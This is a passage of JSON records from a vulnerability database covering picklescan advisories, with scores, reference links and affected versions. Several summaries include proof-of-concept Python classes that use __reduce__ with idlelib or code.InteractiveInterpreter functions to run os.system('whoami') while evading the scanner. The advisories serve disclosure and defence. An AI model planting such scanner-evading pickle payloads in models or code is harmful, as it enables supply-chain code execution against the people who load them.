                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-b4zf-mwfc-53bm"
                        },
                        {
                            "vulnerability": "VCID-b8nm-k5xu-yfc8"
                        },
                        {
                            "vulnerability": "VCID-bepy-gm8w-83e5"
                        },
                        {
                            "vulnerability": "VCID-brvs-drts-rbay"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-d1k5-6npz-2kcg"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fbng-xtyv-zqdf"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fsjg-pn1f-fqd6"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-hm3p-7t8t-bfb7"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-kne4-tcp8-m3c3"
                        },
                        {
                            "vulnerability": "VCID-n3yg-3gcp-nyc1"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-v5yc-uwn3-akbc"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        },
                        {
                            "vulnerability": "VCID-zxc5-cgwk-qbcn"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.28"
                }
            ],
            "aliases": [
                "GHSA-vr7h-p6mm-wpmh"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-3ykn-199q-u3hf"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212456?format=api",
            "vulnerability_id": "VCID-46rw-3mfv-67ad",
            "summary": "Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.4",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.4",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.4",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/53"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-x843-g5mx-g377",
                    "reference_id": "GHSA-x843-g5mx-g377",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-x843-g5mx-g377"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-x843-g5mx-g377",
                    "reference_id": "GHSA-x843-g5mx-g377",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "7.4",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-x843-g5mx-g377"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/36380?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.33",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.33"
                }
            ],
            "aliases": [
                "GHSA-x843-g5mx-g377"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-46rw-3mfv-67ad"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360628?format=api",
            "vulnerability_id": "VCID-4nda-nuz6-gqgm",
            "summary": "Picklescan is missing detection when calling built-in python idlelib.run.Executive.runcode\n### Summary\n\nUsing idlelib.run.Executive.runcode function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.run.Executive.runcode function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom idlelib.run import Executive\nfrom types import SimpleNamespace\n\nclass EvilIdlelibRunExecutiveRuncode:\n    def __reduce__(self):\n        payload = \"__import__('os').system('whoami')\"\n        fake_self = SimpleNamespace(locals={})\n        return Executive.runcode, (fake_self, payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m869-42cg-3xwr",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m869-42cg-3xwr"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-m869-42cg-3xwr",
                    "reference_id": "GHSA-m869-42cg-3xwr",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-m869-42cg-3xwr"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89082?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.30",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.30"
                }
            ],
            "aliases": [
                "GHSA-m869-42cg-3xwr"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-4nda-nuz6-gqgm"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360722?format=api",
            "vulnerability_id": "VCID-4u6x-5jg3-jbfx",
            "summary": "Duplicate Advisory: Zip Exploit Crashes Picklescan But Not PyTorch\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-7q5r-7gvp-wc82. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.",
            "references": [
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1944",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1944"
                },
                {
                    "reference_url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1944",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1944"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7q5r-7gvp-wc82",
                    "reference_id": "GHSA-7q5r-7gvp-wc82",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7q5r-7gvp-wc82"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-w6mr-mj53-x258",
                    "reference_id": "GHSA-w6mr-mj53-x258",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-w6mr-mj53-x258"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/87037?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.23",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-1cce-4mst-r7h4"
                        },
                        {
                            "vulnerability": "VCID-1cft-ke16-8kac"
                        },
                        {
                            "vulnerability": "VCID-357d-3wwy-aubk"
                        },
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-3ykn-199q-u3hf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-4nda-nuz6-gqgm"
                        },
                        {
                            "vulnerability": "VCID-555e-6p5m-xbbc"
                        },
                        {
                            "vulnerability": "VCID-6723-ghp7-yqd1"
                        },
                        {
                            "vulnerability": "VCID-6pqf-4qcr-ckac"
                        },
                        {
                            "vulnerability": "VCID-6smr-kf6r-53gc"
                        },
                        {
                            "vulnerability": "VCID-7dgj-c6cm-v3bt"
                        },
                        {
                            "vulnerability": "VCID-7jv5-uxzs-cucb"
                        },
                        {
                            "vulnerability": "VCID-83zm-7pnx-gkag"
                        },
                        {
                            "vulnerability": "VCID-8bj4-tmz9-gyau"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-av36-fvk2-23be"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-b4zf-mwfc-53bm"
                        },
                        {
                            "vulnerability": "VCID-b8nm-k5xu-yfc8"
                        },
                        {
                            "vulnerability": "VCID-bepy-gm8w-83e5"
                        },
                        {
                            "vulnerability": "VCID-brvs-drts-rbay"
                        },
                        {
                            "vulnerability": "VCID-c3as-vdkf-4fem"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cj2u-dmaj-wbd4"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-cupp-7ca3-wfa6"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-d1k5-6npz-2kcg"
                        },
                        {
                            "vulnerability": "VCID-d4vv-a8kx-5kdc"
                        },
                        {
                            "vulnerability": "VCID-dsy5-2z6e-jqds"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fbng-xtyv-zqdf"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fsjg-pn1f-fqd6"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-hm3p-7t8t-bfb7"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-kne4-tcp8-m3c3"
                        },
                        {
                            "vulnerability": "VCID-n3yg-3gcp-nyc1"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-rqap-hdeb-1ffb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-v5yc-uwn3-akbc"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhdd-ck3x-pbh7"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        },
                        {
                            "vulnerability": "VCID-zxc5-cgwk-qbcn"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.23"
                }
            ],
            "aliases": [
                "GHSA-w6mr-mj53-x258"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-4u6x-5jg3-jbfx"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360639?format=api",
            "vulnerability_id": "VCID-555e-6p5m-xbbc",
            "summary": "Picklescan has a missing detection when calling built-in python code.InteractiveInterpreter\n### Summary\n\nUsing code.InteractiveInterpreter.runcode, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to code.InteractiveInterpreter.runcode function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nclass EvilCodeRuncode:\n    def __reduce__(self):\n        from code import InteractiveInterpreter\n        # InteractiveInterpreter().runcode(cmd) -> exec(cmd)\n        return InteractiveInterpreter().runcode, (\"__import__('os').system('whoami')\",)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-cj3c-v495-4xqh",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-cj3c-v495-4xqh"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-cj3c-v495-4xqh",
                    "reference_id": "GHSA-cj3c-v495-4xqh",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-cj3c-v495-4xqh"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89081?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.29",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.29"
                }
            ],
            "aliases": [
                "GHSA-cj3c-v495-4xqh"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-555e-6p5m-xbbc"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360677?format=api",
            "vulnerability_id": "VCID-6723-ghp7-yqd1",
            "summary": "Picklescan has a missing detection when calling built-in python library idlelib.calltip.get_entity\n### Summary\n\nUsing idlelib.calltip.get_entity function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.calltip.get_entity function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom idlelib.calltip import get_entity\n\nclass EvilCalltipGetEntity:\n    def __reduce__(self):\n        # get_entity(expression) -> eval(expression)\n        return get_entity, (\"__import__('os').system('whoami')\",)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9xph-j2h6-g47v",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9xph-j2h6-g47v"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-9xph-j2h6-g47v",
                    "reference_id": "GHSA-9xph-j2h6-g47v",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-9xph-j2h6-g47v"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89081?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.29",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
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                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
